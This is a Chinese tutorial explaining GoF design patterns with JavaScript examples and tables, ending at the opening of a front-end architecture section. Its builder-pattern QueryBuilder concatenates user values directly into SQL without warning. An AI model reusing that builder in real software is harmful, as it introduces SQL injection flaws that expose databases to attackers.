设计模式与架构
一、设计模式
1. 什么是设计模式?设计模式基础
定义
设计模式(Design Pattern)是一套被反复使用、多数人知晓的、经过分类编目的、代码设计经验的总结。它不是具体的代码,而是解决特定问题的通用方案。
原理
设计模式源于建筑领域,1994 年 GoF(四人帮)在《设计模式:可复用面向对象软件的基础》一书中首次系统化地提出 23 种设计模式。核心思想是抽象出共性问题的通用解决方案,提高代码的可复用性、可读性和可维护性。
分类
| 分类 | 说明 | 包含模式 |
|---|---|---|
| 创建型 | 关注对象的创建过程,将对象的创建与使用分离 | 单例、工厂方法、抽象工厂、建造者、原型 |
| 结构型 | 关注类和对象的组合,通过组合获得更大的结构 | 适配器、装饰器、代理、桥接、组合、外观、享元 |
| 行为型 | 关注对象间的通信和职责分配 | 观察者、策略、命令、状态、模板方法、责任链、中介者、备忘录、迭代器 |
示例
以一个简单的场景说明:假设需要创建不同类型的通知(邮件、短信、推送),如果不使用设计模式,代码可能是大量的 if-else,使用工厂模式后可以将创建逻辑集中管理。
代码示例
javascript
// 不使用设计模式
function sendNotification(type, message) {
if (type === 'email') {
// 发送邮件逻辑
} else if (type === 'sms') {
// 发送短信逻辑
} else if (type === 'push') {
// 发送推送逻辑
}
}
// 使用工厂模式后
const notificationFactory = {
email: () => new EmailNotification(),
sms: () => new SmsNotification(),
push: () => new PushNotification()
};
function sendNotification(type, message) {
const notifier = notificationFactory[type]();
notifier.send(message);
}
常见误区
- 设计模式不是银弹:不能生搬硬套,要根据实际场景选择
- 过度设计:简单问题用复杂模式反而增加复杂度
- 忽略语言特性:JavaScript 的函数式特性可以简化很多传统模式
2. 前端常见的设计模式有哪些及应用场景?
| 模式 | 应用场景 | 实际案例 |
|---|---|---|
| 单例模式 | 全局唯一实例 | Vuex/Redux Store、路由实例、全局弹窗 |
| 工厂模式 | 创建同类型不同实例 | 创建不同类型的表单组件、创建不同类型的图表 |
| 观察者模式 | 一对多依赖关系 | Vue 响应式系统、EventEmitter、DOM 事件 |
| 发布订阅模式 | 解耦的事件通信 | 跨组件通信、消息中间件、EventBus |
| 策略模式 | 多种算法可替换 | 表单验证策略、支付策略、排序算法 |
| 代理模式 | 控制对象访问 | Vue 3 响应式 Proxy、图片懒加载、API 代理 |
| 装饰器模式 | 动态增强功能 | React 高阶组件、TypeScript 装饰器、函数增强 |
| 适配器模式 | 接口转换 | 统一不同第三方库的 API、旧接口兼容 |
| 模板方法模式 | 固定流程 | 表单提交流程、页面初始化流程 |
| 责任链模式 | 多级处理 | 中间件机制(Koa/Express)、权限校验链 |
| 建造者模式 | 复杂对象构建 | 表单构建器、图表配置构建 |
| 组合模式 | 树形结构 | 菜单组件、文件目录树、表单嵌套 |
3. 单例模式
定义
单例模式(Singleton Pattern)确保一个类只有一个实例,并提供一个全局访问点。
原理
通过私有化构造函数或使用闭包,控制实例的创建过程,保证只创建一个实例。
代码实现
javascript
// 方式一:使用闭包实现
class Singleton {
constructor(name) {
this.name = name;
this.instance = null;
}
getName() {
return this.name;
}
static getInstance(name) {
if (!this.instance) {
this.instance = new Singleton(name);
}
return this.instance;
}
}
const s1 = Singleton.getInstance('singleton1');
const s2 = Singleton.getInstance('singleton2');
console.log(s1 === s2); // true,同一个实例
// 方式二:使用 ES6 私有字段
class Singleton2 {
static #instance = null;
constructor() {
if (Singleton2.#instance) {
return Singleton2.#instance;
}
Singleton2.#instance = this;
}
static getInstance() {
return new Singleton2();
}
}
// 方式三:惰性单例(按需创建)
const createLazySingleton = (fn) => {
let instance = null;
return (...args) => {
if (!instance) {
instance = fn.apply(this, args);
}
return instance;
};
};
// 使用
const createModal = () => document.createElement('div');
const getModal = createLazySingleton(createModal);
const modal1 = getModal();
const modal2 = getModal();
console.log(modal1 === modal2); // true
应用场景
- 全局状态管理:Vuex Store、Redux Store
- 全局弹窗/提示:确保同一时间只有一个弹窗实例
- 路由实例:Vue Router、React Router 单例
- 工具类实例:日志记录器、配置管理器
注意事项
- 线程安全:JavaScript 是单线程,不存在线程安全问题
- 测试困难:全局状态可能影响单元测试的隔离性
- 内存泄漏:单例不会自动释放,需要注意清理
4. 工厂模式
简单工厂
定义:定义一个工厂函数/对象,根据传入的参数决定创建哪种类型的产品。
javascript
// 简单工厂
class Notification {
send() {}
}
class EmailNotification extends Notification {
send(msg) { console.log('发送邮件:', msg); }
}
class SmsNotification extends Notification {
send(msg) { console.log('发送短信:', msg); }
}
class PushNotification extends Notification {
send(msg) { console.log('发送推送:', msg); }
}
// 工厂函数
function createNotification(type) {
const types = {
email: EmailNotification,
sms: SmsNotification,
push: PushNotification
};
if (!types[type]) throw new Error('未知的通知类型');
return new types[type]();
}
const email = createNotification('email');
email.send('Hello');
缺点:新增类型需要修改工厂函数,违反开闭原则。
工厂方法
定义:将对象的创建延迟到子类中,每个子类决定实例化哪个类。
javascript
// 工厂方法模式
class NotificationFactory {
create() {
throw new Error('子类必须实现此方法');
}
send(msg) {
const notification = this.create();
notification.send(msg);
}
}
class EmailFactory extends NotificationFactory {
create() { return new EmailNotification(); }
}
class SmsFactory extends NotificationFactory {
create() { return new SmsNotification(); }
}
// 使用
const emailFactory = new EmailFactory();
emailFactory.send('Hello'); // 发送邮件: Hello
优点:符合开闭原则,新增类型只需新增工厂类。
抽象工厂
定义:提供一个创建一系列相关或相互依赖对象的接口,而无需指定它们具体的类。
javascript
// 抽象工厂:创建一组相关的 UI 组件
class UIFactory {
createButton() { throw new Error('抽象方法'); }
createInput() { throw new Error('抽象方法'); }
}
class WindowsUIFactory extends UIFactory {
createButton() { return new WindowsButton(); }
createInput() { return new WindowsInput(); }
}
class MacUIFactory extends UIFactory {
createButton() { return new MacButton(); }
createInput() { return new MacInput(); }
}
class WindowsButton { render() { return '<button class="win-btn"></button>'; } }
class MacButton { render() { return '<button class="mac-btn"></button>'; } }
class WindowsInput { render() { return '<input class="win-input"/>'; } }
class MacInput { render() { return '<input class="mac-input"/>'; } }
// 使用
const factory = new WindowsUIFactory();
const btn = factory.createButton();
console.log(btn.render()); // <button class="win-btn"></button>
三种工厂对比
| 维度 | 简单工厂 | 工厂方法 | 抽象工厂 |
|---|---|---|---|
| 结构复杂度 | 低 | 中 | 高 |
| 扩展性 | 差(修改工厂类) | 好(新增工厂类) | 好(新增工厂族) |
| 适用场景 | 产品类型少 | 单一产品族 | 多个产品族 |
| 开闭原则 | 违反 | 符合 | 符合 |
选择策略
- 产品类型固定且少 → 简单工厂
- 需要扩展新产品类型 → 工厂方法
- 需要创建一组相关产品 → 抽象工厂
5. 观察者模式
定义
观察者模式(Observer Pattern)定义了一种一对多的依赖关系,让多个观察者对象同时监听某一个主题对象。当主题对象状态发生变化时,会通知所有观察者。
原理
主题(Subject)维护一个观察者列表,当状态变化时遍历列表调用每个观察者的更新方法。
代码实现
javascript
class Subject {
constructor() {
this.observers = [];
}
subscribe(observer) {
this.observers.push(observer);
}
unsubscribe(observer) {
this.observers = this.observers.filter(obs => obs !== observer);
}
notify(data) {
this.observers.forEach(observer => observer.update(data));
}
}
class Observer {
constructor(name) {
this.name = name;
}
update(data) {
console.log(`${this.name} 收到通知:`, data);
}
}
// 使用
const subject = new Subject();
const observer1 = new Observer('观察者A');
const observer2 = new Observer('观察者B');
subject.subscribe(observer1);
subject.subscribe(observer2);
subject.notify('数据更新');
// 观察者A 收到通知: 数据更新
// 观察者B 收到通知: 数据更新
subject.unsubscribe(observer1);
subject.notify('再次更新');
// 只有观察者B 收到通知
Vue 响应式中的应用
javascript
// Vue 2 响应式原理简化版
function defineReactive(obj, key, val) {
const dep = []; // 观察者列表
Object.defineProperty(obj, key, {
get() {
// 收集依赖
if (Dep.target && !dep.includes(Dep.target)) {
dep.push(Dep.target);
}
return val;
},
set(newVal) {
if (newVal !== val) {
val = newVal;
// 通知所有观察者
dep.forEach(watcher => watcher.update());
}
}
});
}
6. 发布订阅模式
定义
发布订阅模式(Pub-Sub Pattern)通过一个事件中心来解耦发布者和订阅者。发布者不直接通知订阅者,而是通过事件中心转发消息。
代码实现
javascript
class EventEmitter {
constructor() {
this.events = {};
}
on(event, callback) {
if (!this.events[event]) {
this.events[event] = [];
}
this.events[event].push(callback);
return this; // 链式调用
}
off(event, callback) {
if (!this.events[event]) return this;
if (!callback) {
delete this.events[event];
} else {
this.events[event] = this.events[event].filter(cb => cb !== callback);
}
return this;
}
emit(event, ...args) {
if (!this.events[event]) return this;
this.events[event].forEach(callback => callback.apply(this, args));
return this;
}
once(event, callback) {
const wrapper = (...args) => {
callback.apply(this, args);
this.off(event, wrapper);
};
this.on(event, wrapper);
return this;
}
}
// 使用
const bus = new EventEmitter();
bus.on('login', (user) => {
console.log('用户登录:', user.name);
});
bus.on('login', (user) => {
console.log('发送欢迎邮件给:', user.name);
});
bus.emit('login', { name: '张三' });
// 用户登录: 张三
// 发送欢迎邮件给: 张三
7. 观察者模式与发布订阅模式的区别
| 维度 | 观察者模式 | 发布订阅模式 |
|---|---|---|
| 耦合度 | 主题和观察者直接耦合 | 通过事件中心解耦 |
| 结构 | 主题知道观察者的存在 | 发布者和订阅者互不知道 |
| 通信方式 | 直接调用 update() | 通过事件中心转发 |
| 灵活性 | 较低,关系固定 | 较高,动态订阅/取消 |
| 典型应用 | Vue 响应式、DOM 事件 | EventBus、Node.js EventEmitter |
选择策略
- 需要紧密耦合、直接通知 → 观察者模式
- 需要解耦、灵活的事件通信 → 发布订阅模式
8. 策略模式
定义
策略模式(Strategy Pattern)定义一系列算法,将它们封装起来,使它们可以相互替换。
代码实现
javascript
// 策略对象
const discountStrategies = {
normal(price) { return price; },
vip(price) { return price * 0.9; },
svip(price) { return price * 0.7; },
flashSale(price) { return price * 0.5; }
};
// 上下文
class PriceCalculator {
constructor(strategy) {
this.strategy = strategy;
}
calculate(price) {
return this.strategy(price);
}
setStrategy(strategy) {
this.strategy = strategy;
}
}
// 使用
const calculator = new PriceCalculator(discountStrategies.normal);
console.log(calculator.calculate(100)); // 100
calculator.setStrategy(discountStrategies.vip);
console.log(calculator.calculate(100)); // 90
calculator.setStrategy(discountStrategies.flashSale);
console.log(calculator.calculate(100)); // 50
实战应用:表单验证
javascript
const validators = {
required: (value) => value ? '' : '不能为空',
minLength: (value, min) =>
value.length >= min ? '' : `最少需要${min}个字符`,
isEmail: (value) =>
/^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(value) ? '' : '邮箱格式不正确',
isPhone: (value) =>
/^1[3-9]\d{9}$/.test(value) ? '' : '手机号格式不正确'
};
function validate(rules, value) {
for (const rule of rules) {
const { type, ...params } = rule;
const error = validators[type](value, ...Object.values(params));
if (error) return error;
}
return '';
}
// 使用
const rules = [
{ type: 'required' },
{ type: 'minLength', min: 6 },
{ type: 'isEmail' }
];
console.log(validate(rules, '')); // 不能为空
console.log(validate(rules, 'abc')); // 最少需要6个字符
console.log(validate(rules, 'abc@')); // 邮箱格式不正确
console.log(validate(rules, 'a@b.com')); // '' 通过验证
优点
- 避免大量
if-else或switch - 算法可独立变化,符合开闭原则
- 运行时可切换策略
9. 代理模式
定义
代理模式(Proxy Pattern)为其他对象提供一个代理以控制对这个对象的访问。
代码实现
javascript
// 方式一:函数代理
function createProxy(target) {
return new Proxy(target, {
get(obj, prop) {
console.log(`访问属性: ${prop}`);
return prop in obj ? obj[prop] : undefined;
},
set(obj, prop, value) {
console.log(`设置属性: ${prop} = ${value}`);
obj[prop] = value;
return true;
}
});
}
const user = createProxy({ name: '张三', age: 25 });
console.log(user.name); // 访问属性: name \n 张三
user.age = 26; // 设置属性: age = 26
// 方式二:图片懒加载代理
class RealImage {
constructor(src) {
this.src = src;
this.load();
}
load() { console.log('加载图片:', this.src); }
display() { console.log('显示图片:', this.src); }
}
class ProxyImage {
constructor(src) {
this.src = src;
this.realImage = null;
}
display() {
if (!this.realImage) {
this.realImage = new RealImage(this.src);
}
this.realImage.display();
}
}
// 方式三:API 缓存代理
function createApiProxy(apiFn) {
const cache = {};
return async (...args) => {
const key = JSON.stringify(args);
if (cache[key]) {
console.log('使用缓存');
return cache[key];
}
const result = await apiFn(...args);
cache[key] = result;
return result;
};
}
应用场景
- Vue 3 响应式:使用 Proxy 实现数据劫持
- 图片懒加载:延迟加载大图片
- API 缓存:缓存请求结果
- 访问控制:权限校验代理
- 日志记录:记录属性访问
10. 装饰器模式
定义
装饰器模式(Decorator Pattern)在不改变原对象的基础上,通过对其进行包装扩展,动态地给对象添加职责。
代码实现
javascript
// 函数装饰器
function withLog(target) {
return function(...args) {
console.log('调用前:', args);
const result = target.apply(this, args);
console.log('调用后:', result);
return result;
};
}
function add(a, b) { return a + b; }
const addWithLog = withLog(add);
addWithLog(1, 2);
// 调用前: [1, 2]
// 调用后: 3
// 类方法装饰器(TypeScript 风格)
function readonly(target, key, descriptor) {
descriptor.writable = false;
return descriptor;
}
// 组合装饰
function withCache(ttl = 5000) {
const cache = {};
return function(target) {
return function(...args) {
const key = JSON.stringify(args);
if (cache[key] && Date.now() - cache[key].time < ttl) {
return cache[key].data;
}
const result = target.apply(this, args);
cache[key] = { data: result, time: Date.now() };
return result;
};
};
}
const expensiveCalc = (x) => {
console.log('计算中...');
return x * x;
};
const cachedCalc = withCache(3000)(expensiveCalc);
React 高阶组件(HOC)
javascript
function withLoading(WrappedComponent) {
return function WithLoadingComponent({ isLoading, ...props }) {
if (isLoading) return <div>Loading...</div>;
return <WrappedComponent {...props} />;
};
}
// 使用
const EnhancedComponent = withLoading(MyComponent);
11. 适配器模式
定义
适配器模式(Adapter Pattern)将一个类的接口转换成客户希望的另一个接口,使原本由于接口不兼容而不能一起工作的类可以一起工作。
代码实现
javascript
// 旧版 API
class OldMapService {
getLocations() {
return [
{ lat: 39.9, lon: 116.4, name: '北京' },
{ lat: 31.2, lon: 121.5, name: '上海' }
];
}
}
// 新版需要格式:{ latitude, longitude, title }
class MapAdapter {
constructor(oldService) {
this.oldService = oldService;
}
getLocations() {
const data = this.oldService.getLocations();
return data.map(item => ({
latitude: item.lat,
longitude: item.lon,
title: item.name
}));
}
}
// 使用
const oldService = new OldMapService();
const adapter = new MapAdapter(oldService);
console.log(adapter.getLocations());
// [{ latitude: 39.9, longitude: 116.4, title: '北京' }, ...]
// Axios 适配器示例
function axiosAdapter(config) {
if (typeof config.adapter === 'function') {
return config.adapter(config);
}
// 默认使用 XHR 或 fetch
return fetch(config.url, {
method: config.method,
headers: config.headers,
body: config.data
});
}
应用场景
- 新旧 API 兼容
- 第三方库接口统一
- 数据格式转换
12. 外观模式
定义
外观模式(Facade Pattern)为子系统中的一组接口提供一个一致的界面,定义一个高层接口,使得子系统更加容易使用。
代码实现
javascript
// 子系统
class CPU {
start() { console.log('CPU 启动'); }
execute() { console.log('CPU 执行'); }
}
class Memory {
load() { console.log('内存加载数据'); }
free() { console.log('内存释放'); }
}
class Disk {
read() { console.log('磁盘读取'); }
write() { console.log('磁盘写入'); }
}
// 外观类
class ComputerFacade {
constructor() {
this.cpu = new CPU();
this.memory = new Memory();
this.disk = new Disk();
}
start() {
console.log('=== 电脑启动 ===');
this.cpu.start();
this.memory.load();
this.disk.read();
this.cpu.execute();
}
shutdown() {
console.log('=== 电脑关机 ===');
this.disk.write();
this.memory.free();
this.cpu.execute();
}
}
// 使用
const computer = new ComputerFacade();
computer.start();
// === 电脑启动 ===
// CPU 启动
// 内存加载数据
// 磁盘读取
// CPU 执行
前端应用
javascript
// jQuery 就是典型的 Facade
// $('#id').show() 背后封装了 DOM 操作、样式处理、动画等复杂逻辑
// DOM 操作外观
const DOM = {
get(selector) { return document.querySelector(selector); },
show(el) { el.style.display = 'block'; },
hide(el) { el.style.display = 'none'; },
on(el, event, handler) { el.addEventListener(event, handler); },
html(el, content) { el.innerHTML = content; }
};
13. 命令模式
定义
命令模式(Command Pattern)将请求封装为对象,从而可以用不同的请求对客户进行参数化。
代码实现
javascript
class Command {
execute() {}
undo() {}
}
class LightOnCommand extends Command {
constructor(light) {
super();
this.light = light;
}
execute() { this.light.on(); }
undo() { this.light.off(); }
}
class LightOffCommand extends Command {
constructor(light) {
super();
this.light = light;
}
execute() { this.light.off(); }
undo() { this.light.on(); }
}
class Light {
on() { console.log('灯亮了'); }
off() { console.log('灯灭了'); }
}
class RemoteControl {
constructor() {
this.commands = [];
this.history = [];
}
setCommand(index, command) {
this.commands[index] = command;
}
pressButton(index) {
if (this.commands[index]) {
this.commands[index].execute();
this.history.push(this.commands[index]);
}
}
undo() {
if (this.history.length > 0) {
const lastCommand = this.history.pop();
lastCommand.undo();
}
}
}
// 使用
const light = new Light();
const remote = new RemoteControl();
remote.setCommand(0, new LightOnCommand(light));
remote.setCommand(1, new LightOffCommand(light));
remote.pressButton(0); // 灯亮了
remote.pressButton(1); // 灯灭了
remote.undo(); // 灯亮了
前端应用:撤销/重做
javascript
class CommandManager {
constructor() {
this.undoStack = [];
this.redoStack = [];
}
execute(command) {
command.execute();
this.undoStack.push(command);
this.redoStack = [];
}
undo() {
if (this.undoStack.length === 0) return;
const command = this.undoStack.pop();
command.undo();
this.redoStack.push(command);
}
redo() {
if (this.redoStack.length === 0) return;
const command = this.redoStack.pop();
command.execute();
this.undoStack.push(command);
}
}
14. 迭代器模式
定义
迭代器模式(Iterator Pattern)提供一种方法顺序访问一个聚合对象中的各个元素,而不暴露其内部表示。
代码实现
javascript
// 自定义迭代器
class BookCollection {
constructor() {
this.books = [];
}
addBook(book) {
this.books.push(book);
}
[Symbol.iterator]() {
let index = 0;
const books = this.books;
return {
next() {
if (index < books.length) {
return { value: books[index++], done: false };
}
return { value: undefined, done: true };
}
};
}
}
// 使用
const collection = new BookCollection();
collection.addBook('JavaScript 高级程序设计');
collection.addBook('设计模式');
collection.addBook('算法导论');
for (const book of collection) {
console.log(book);
}
// 自定义迭代器:有限迭代
function createLimitedIterator(array, limit) {
let index = 0;
return {
[Symbol.iterator]() {
return {
next() {
if (index < array.length && index < limit) {
return { value: array[index++], done: false };
}
return { done: true };
}
};
}
};
}
15. 中介者模式
定义
中介者模式(Mediator Pattern)用一个中介对象来封装一系列的对象交互,使各个对象不需要显式地相互引用。
代码实现
javascript
class ChatRoom {
constructor() {
this.users = [];
}
addUser(user) {
this.users.push(user);
user.setMediator(this);
}
sendMessage(message, sender) {
this.users
.filter(user => user !== sender)
.forEach(user => user.receiveMessage(message, sender));
}
}
class User {
constructor(name) {
this.name = name;
this.mediator = null;
}
setMediator(mediator) {
this.mediator = mediator;
}
sendMessage(message) {
console.log(`${this.name} 发送: ${message}`);
this.mediator.sendMessage(message, this);
}
receiveMessage(message, sender) {
console.log(`${this.name} 收到 ${sender.name}: ${message}`);
}
}
// 使用
const room = new ChatRoom();
const alice = new User('Alice');
const bob = new User('Bob');
const charlie = new User('Charlie');
room.addUser(alice);
room.addUser(bob);
room.addUser(charlie);
alice.sendMessage('大家好!');
// Alice 发送: 大家好!
// Bob 收到 Alice: 大家好!
// Charlie 收到 Alice: 大家好!
应用场景
- 聊天室系统
- 表单组件联动
- 多个模块间的解耦
16. 备忘录模式
定义
备忘录模式(Memento Pattern)在不破坏封装性的前提下,捕获一个对象的内部状态,并在该对象之外保存这个状态。
代码实现
javascript
class Memento {
constructor(state) {
this.state = state;
}
getState() { return this.state; }
}
class Editor {
constructor() {
this.content = '';
}
type(text) {
this.content += text;
}
getContent() { return this.content; }
save() {
return new Memento(this.content);
}
restore(memento) {
this.content = memento.getState();
}
}
class History {
constructor() {
this.mementos = [];
}
push(memento) {
this.mementos.push(memento);
}
pop() {
return this.mementos.pop();
}
}
// 使用
const editor = new Editor();
const history = new History();
editor.type('第');
history.push(editor.save());
editor.type('一');
history.push(editor.save());
editor.type('行');
console.log(editor.getContent()); // 第一行
editor.restore(history.pop());
console.log(editor.getContent()); // 第一
editor.restore(history.pop());
console.log(editor.getContent()); // 第
17. 状态模式
定义
状态模式(State Pattern)允许一个对象在其内部状态改变时改变它的行为。
代码实现
javascript
class State {
constructor(name) { this.name = name; }
handle(context) { throw new Error('抽象方法'); }
}
class OpenState extends State {
constructor() { super('open'); }
handle(context) {
console.log('门已打开');
context.setState(new ClosedState());
}
}
class ClosedState extends State {
constructor() { super('closed'); }
handle(context) {
console.log('门已关闭');
context.setState(new LockedState());
}
}
class LockedState extends State {
constructor() { super('locked'); }
handle(context) {
console.log('门已锁定');
context.setState(new OpenState());
}
}
class Door {
constructor() {
this.state = new ClosedState();
}
setState(state) {
this.state = state;
}
press() {
this.state.handle(this);
}
getState() { return this.state.name; }
}
// 使用
const door = new Door();
door.press(); // 门已关闭
door.press(); // 门已锁定
door.press(); // 门已打开
// 实际应用:订单状态
const orderStates = {
pending: {
next: 'paid',
actions: { pay: () => '付款' }
},
paid: {
next: 'shipped',
actions: { ship: () => '发货' }
},
shipped: {
next: 'delivered',
actions: { deliver: () => '签收' }
},
delivered: {
next: null,
actions: {}
}
};
class Order {
constructor() { this.state = 'pending'; }
transition(action) {
const currentState = orderStates[this.state];
if (currentState.actions[action]) {
console.log(currentState.actions[action]());
if (currentState.next) {
this.state = currentState.next;
console.log(`订单状态变更为: ${this.state}`);
}
} else {
console.log(`当前状态不能执行 ${action}`);
}
}
}
18. 模板方法模式
定义
模板方法模式(Template Method Pattern)定义一个操作中的算法骨架,将某些步骤延迟到子类中实现。
代码实现
javascript
class Beverage {
// 模板方法
prepare() {
this.boilWater();
this.brew();
this.pourInCup();
this.addCondiments();
}
boilWater() { console.log('烧开水'); }
pourInCup() { console.log('倒入杯中'); }
brew() { throw new Error('子类必须实现'); }
addCondiments() { throw new Error('子类必须实现'); }
}
class Coffee extends Beverage {
brew() { console.log('冲泡咖啡'); }
addCondiments() { console.log('加糖和牛奶'); }
}
class Tea extends Beverage {
brew() { console.log('冲泡茶叶'); }
addCondiments() { console.log('加柠檬'); }
}
// 使用
const coffee = new Coffee();
coffee.prepare();
// 烧开水
// 冲泡咖啡
// 倒入杯中
// 加糖和牛奶
// 前端应用:页面初始化流程
class PageInitializer {
init() {
this.loadConfig();
this.initComponents();
this.bindEvents();
this.render();
}
loadConfig() { console.log('加载配置'); }
initComponents() { console.log('初始化组件'); }
bindEvents() { console.log('绑定事件'); }
render() { console.log('渲染页面'); }
}
19. 责任链模式
定义
责任链模式(Chain of Responsibility Pattern)使多个对象都有机会处理请求,从而避免请求的发送者和接收者之间的耦合关系。
代码实现
javascript
class Handler {
constructor() {
this.nextHandler = null;
}
setNext(handler) {
this.nextHandler = handler;
return handler;
}
handle(request) {
if (this.nextHandler) {
return this.nextHandler.handle(request);
}
return null;
}
}
class AuthHandler extends Handler {
handle(request) {
if (!request.token) {
return { success: false, message: '未认证' };
}
console.log('认证通过');
return super.handle(request);
}
}
class PermissionHandler extends Handler {
handle(request) {
if (!request.permissions.includes('admin')) {
return { success: false, message: '权限不足' };
}
console.log('权限通过');
return super.handle(request);
}
}
class LogHandler extends Handler {
handle(request) {
console.log('记录日志:', request);
return super.handle(request);
}
}
class BusinessHandler extends Handler {
handle(request) {
console.log('处理业务逻辑');
return { success: true, data: '业务数据' };
}
}
// 使用
const auth = new AuthHandler();
const permission = new PermissionHandler();
const log = new LogHandler();
const business = new BusinessHandler();
auth.setNext(permission).setNext(log).setNext(business);
const result = auth.handle({
token: 'valid-token',
permissions: ['admin', 'user']
});
// 认证通过
// 权限通过
// 记录日志: { token: 'valid-token', permissions: [ 'admin', 'user' ] }
// 处理业务逻辑
// { success: true, data: '业务数据' }
// Koa 中间件示例
function compose(middlewares) {
return function(ctx) {
function dispatch(index) {
if (index >= middlewares.length) return Promise.resolve();
const middleware = middlewares[index];
return Promise.resolve(middleware(ctx, () => dispatch(index + 1)));
}
return dispatch(0);
};
}
20. 享元模式
定义
享元模式(Flyweight Pattern)运用共享技术有效地支持大量细粒度的对象。
代码实现
javascript
class FlyweightFactory {
constructor() {
this.flyweights = {};
}
get(key) {
if (!this.flyweights[key]) {
this.flyweights[key] = this.createFlyweight(key);
}
return this.flyweights[key];
}
createFlyweight(key) {
return { type: key, shared: true };
}
getCount() {
return Object.keys(this.flyweights).length;
}
}
// 实际应用:DOM 对象池
class DOMPool {
constructor() {
this.pools = {};
}
getElement(tagName) {
if (!this.pools[tagName]) {
this.pools[tagName] = [];
}
const element = this.pools[tagName].pop();
return element || document.createElement(tagName);
}
releaseElement(element) {
const tagName = element.tagName.toLowerCase();
if (!this.pools[tagName]) {
this.pools[tagName] = [];
}
element.innerHTML = '';
element.className = '';
this.pools[tagName].push(element);
}
}
// 实际应用:图标缓存
const iconCache = {};
function getIcon(name) {
if (!iconCache[name]) {
iconCache[name] = `<svg class="icon icon-${name}">...</svg>`;
}
return iconCache[name];
}
21. 建造者模式
定义
建造者模式(Builder Pattern)将一个复杂对象的构建与它的表示分离,使得同样的构建过程可以创建不同的表示。
代码实现
javascript
class Form {
constructor() {
this.fields = [];
this.title = '';
this.action = '';
this.method = 'POST';
}
setTitle(title) { this.title = title; return this; }
setAction(action) { this.action = action; return this; }
setMethod(method) { this.method = method; return this; }
addField(field) { this.fields.push(field); return this; }
build() {
return {
title: this.title,
action: this.action,
method: this.method,
fields: this.fields
};
}
}
// 使用
const loginForm = new Form()
.setTitle('登录')
.setAction('/api/login')
.setMethod('POST')
.addField({ name: 'username', type: 'text', required: true })
.addField({ name: 'password', type: 'password', required: true })
.build();
console.log(loginForm);
// {
// title: '登录',
// action: '/api/login',
// method: 'POST',
// fields: [
// { name: 'username', type: 'text', required: true },
// { name: 'password', type: 'password', required: true }
// ]
// }
// 链式调用构建查询参数
class QueryBuilder {
constructor(table) {
this.table = table;
this.conditions = [];
this._orderBy = '';
this._limit = 0;
}
where(field, operator, value) {
this.conditions.push(`${field} ${operator} '${value}'`);
return this;
}
orderBy(field, direction = 'ASC') {
this._orderBy = `ORDER BY ${field} ${direction}`;
return this;
}
limit(n) {
this._limit = `LIMIT ${n}`;
return this;
}
build() {
let sql = `SELECT * FROM ${this.table}`;
if (this.conditions.length) {
sql += ` WHERE ${this.conditions.join(' AND ')}`;
}
if (this._orderBy) sql += ` ${this._orderBy}`;
if (this._limit) sql += ` ${this._limit}`;
return sql;
}
}
const query = new QueryBuilder('users')
.where('age', '>', 18)
.where('status', '=', 'active')
.orderBy('created_at', 'DESC')
.limit(10)
.build();
console.log(query);
// SELECT * FROM users WHERE age > '18' AND status = 'active' ORDER BY created_at DESC LIMIT 10
22. 原型模式
定义
原型模式(Prototype Pattern)用原型实例指定创建对象的种类,并且通过拷贝这些原型创建新的对象。
代码实现
javascript
class Prototype {
constructor() {
this.objects = {};
}
register(name, obj) {
this.objects[name] = obj;
}
clone(name) {
if (!this.objects[name]) {
throw new Error(`未找到原型对象: ${name}`);
}
return JSON.parse(JSON.stringify(this.objects[name]));
}
}
// 使用
const proto = new Prototype();
proto.register('user', {
name: '匿名用户',
age: 0,
role: 'user',
permissions: []
});
const user1 = proto.clone('user');
user1.name = '张三';
user1.age = 25;
const user2 = proto.clone('user');
user2.name = '李四';
user2.age = 30;
console.log(user1.name); // 张三
console.log(user2.name); // 李四
// Object.create 原型模式
const shape = {
type: 'shape',
color: 'red',
draw() { console.log(`画一个${this.color}的${this.type}`); }
};
const circle = Object.create(shape);
circle.type = '圆形';
circle.color = '蓝色';
circle.draw(); // 画一个蓝色的圆形
23. 组合模式
定义
组合模式(Composite Pattern)将对象组合成树形结构以表示"部分-整体"的层次结构。
代码实现
javascript
class Component {
constructor(name) {
this.name = name;
this.children = [];
}
add(component) {
this.children.push(component);
return this;
}
remove(component) {
this.children = this.children.filter(c => c !== component);
}
operation(indent = 0) {
const prefix = ' '.repeat(indent);
console.log(`${prefix}${this.name}`);
this.children.forEach(child => child.operation(indent + 1));
}
}
// 使用:文件系统
const root = new Component('根目录');
const documents = new Component('文档');
const pictures = new Component('图片');
const report = new Component('报告.doc');
const photo = new Component('photo.jpg');
root.add(documents).add(pictures);
documents.add(report);
pictures.add(photo);
root.operation();
// 根目录
// 文档
// 报告.doc
// 图片
// photo.jpg
// 使用:菜单组件
const menu = new Component('菜单');
const fileMenu = new Component('文件');
const editMenu = new Component('编辑');
const newFile = new Component('新建');
const openFile = new Component('打开');
menu.add(fileMenu).add(editMenu);
fileMenu.add(newFile).add(openFile);
menu.operation();
24. 桥接模式
定义
桥接模式(Bridge Pattern)将抽象部分与实现部分分离,使它们都可以独立地变化。
代码实现
javascript
// 实现部分
class Renderer {
renderCircle(radius) { throw new Error('抽象方法'); }
}
class CanvasRenderer extends Renderer {
renderCircle(radius) {
return `Canvas 绘制半径为${radius}的圆`;
}
}
class SVGRenderer extends Renderer {
renderCircle(radius) {
return `SVG 绘制半径为${radius}的圆`;
}
}
// 抽象部分
class Shape {
constructor(renderer) {
this.renderer = renderer;
}
draw() { throw new Error('抽象方法'); }
}
class Circle extends Shape {
constructor(renderer, radius) {
super(renderer);
this.radius = radius;
}
draw() {
console.log(this.renderer.renderCircle(this.radius));
}
}
// 使用
const canvasCircle = new Circle(new CanvasRenderer(), 10);
const svgCircle = new Circle(new SVGRenderer(), 20);
canvasCircle.draw(); // Canvas 绘制半径为10的圆
svgCircle.draw(); // SVG 绘制半径为20的圆
二、前端架构设计
25. 前端架构 / 前端架构设计
定义
前端架构是对前端应用的整体结构设计,包括代码组织、模块划分、技术选型、数据流管理等方面。
架构演进
| 阶段 | 特点 | 代表技术 |
|---|---|---|
| 传统多页应用 | 服务端渲染、页面刷新 | JSP/PHP/ASP |
| AJAX 时代 | 局部刷新、前后端分离雏形 | jQuery + AJAX |
| 单页应用(SPA) | 前端路由、组件化 | Angular/React/Vue |
| 组件化时代 | 细粒度组件、状态管理 | React/Vue + Redux/Vuex |
| 微前端 | 多团队协作、独立部署 | qiankun/Micro App |
架构设计原则
- 单一职责:每个模块/组件只负责一个功能
- 高内聚低耦合:相关功能集中,不相关功能隔离
